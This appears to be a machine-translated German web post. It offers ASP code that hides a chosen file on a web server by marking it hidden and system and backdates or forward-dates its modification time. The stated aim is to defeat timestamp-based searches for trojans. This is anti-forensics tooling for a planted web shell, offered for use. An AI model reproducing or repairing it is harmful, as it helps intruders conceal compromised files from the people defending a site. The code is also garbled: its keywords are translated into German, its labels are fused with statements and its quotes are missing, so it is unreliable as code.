Aspshell verbirgt und ändert den Zeitpunkt der letzten Änderung einer Datei. Wenn Sie in Zukunft nach Trojanern suchen, können Sie daher nicht einfach anhand des Zeitpunkts urteilen. Kopieren Sie den Codecode wie folgt:
<%
'Verstecken und ändern Sie den Zeitpunkt der letzten Änderung der Datei aspshell
'Prinzip: Sie können die Attribute der Datei über FSO ändern, z. B. indem Sie sie auf schreibgeschützt, ausgeblendet, systemisch usw. setzen. Das Attribut attributes in FSO ändert die Dateiattribute, 1 ist schreibgeschützt, 2 ist ausgeblendet. und 4 ist die Systemdatei
„Sie können den Zeitpunkt der letzten Änderung für die Datei über „shell.application“ zurücksetzen
'24.02.2009 geschrieben von skyfire
Response.write <form method=post>
Response.write-Pfad: <input name=path value='&server.mappath(/)&' size='30'>(muss mit / enden)<br />
Name der Antwort.write-Datei: <input name=filename value='test.txt' size='30'><br />
Response.write-Änderungszeit: <input name=time value='12/30/2099 12:30:30' size='30'><br />
Response.write <Eingabetyp=Submit-Wert=Ändern und Ausblenden der Datei>
Antwort.write </form>
'Übermittelte Parameter abrufen
set path=request.Form(path)
set fileName=request.Form(filename)
set newTime=request.Form(time)
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'Dateiattribute über FSO festlegen
Setze fso=Server.CreateObject(Scripting.FileSystemObject)
Setze file=fso.getFile(path&fileName)
file.attributes=2+4 'Dateiattribute auf versteckt + System setzen
'Ändern Sie den Zeitpunkt der letzten Änderung der Datei über Shell.Application
Setze Shell=Server.CreateObject(Shell.Application)
Setze app_path=shell.NameSpace(server.mappath(.))
Setze app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
Ende wenn
%>